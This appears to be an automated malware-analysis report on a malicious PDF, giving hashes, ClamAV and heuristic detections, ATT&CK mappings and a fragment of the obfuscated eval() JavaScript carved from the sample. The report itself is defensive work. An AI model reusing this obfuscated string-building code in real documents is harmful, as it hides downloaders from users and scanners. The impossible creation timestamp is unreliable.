Malicious PDF — malware analysis report

Static analysis result for SHA-256 fd993defa651a4cc…

MALICIOUS

PDF

6.5 KB Created: 2008-31-20 53:85:00 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)
MD5: 19d1778d801f7e5176926ff2a23756fb SHA-1: 149d9a3abb7cf27da3d0a2035e06a461b2262a1c SHA-256: fd993defa651a4cc2ab1bdbbc96a5ef6ca53792ad70d38c9df89eedaaa044cd7
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript T1204.002 Malicious File

The PDF file contains embedded JavaScript, flagged by multiple heuristics including PDF_JAVASCRIPT and PDF_JS. A critical ClamAV detection (Pdf.Exploit.Agent-35587) and ML classification confirm its malicious nature. The JavaScript stream contains obfuscated code utilizing eval() calls, which is typical for downloading and executing further malicious content. The reconstructed string 'eval('ntydvPIe=Ma'+'th.'+'ce'+'il(K2QfjLL,'+'ntcnC2yN2J2 eval('FT7ftbQ=M'+'ath'+'.m'+'in(K2QfjLL,'+'ZaKD6ULbx|'+'=(De8H1dGnGbTsa['+'sSQUkDlT.'+'cha'+'rCo'+'de'+'At(bHgcNM+'+'+ HmdLgbyb1HFlv7 'YqNXTBkV08W+'+'=S'+'tri'+'ng['+'"fro'+'mCha'+'rCod'+'e"](79^'+'ZaKD6ULbx&'+'25'+'5 YqNXTBkV08W' indicates complex string manipulation likely used to hide malicious commands or URLs.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Exploit.Agent-35587 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35587
  • ClamAV detection on extracted artifact critical EXTRACTED_FILE_CLAMAV
    ClamAV flagged at least one file extracted from inside this sample. Even when the wrapping document carries no AV detection of its own, a hit on the carved artifact is a strong indicator the sample is a delivery vehicle.
  • eval() call high PDF_EVAL
    eval() found — commonly used for obfuscated exploit execution
  • JavaScript action low PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js
5b1514daee22408e5f12356e19c524dec5ac3575c3aa169da32530f37a43ebfd		 pdf-javascript-stream PDF /JS object 13 at offset 0x38D 5126 bytes
Detection
ClamAV: Pdf.Exploit.Agent-35587
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).

Open this report in the interactive analyzer, or submit your own file for analysis.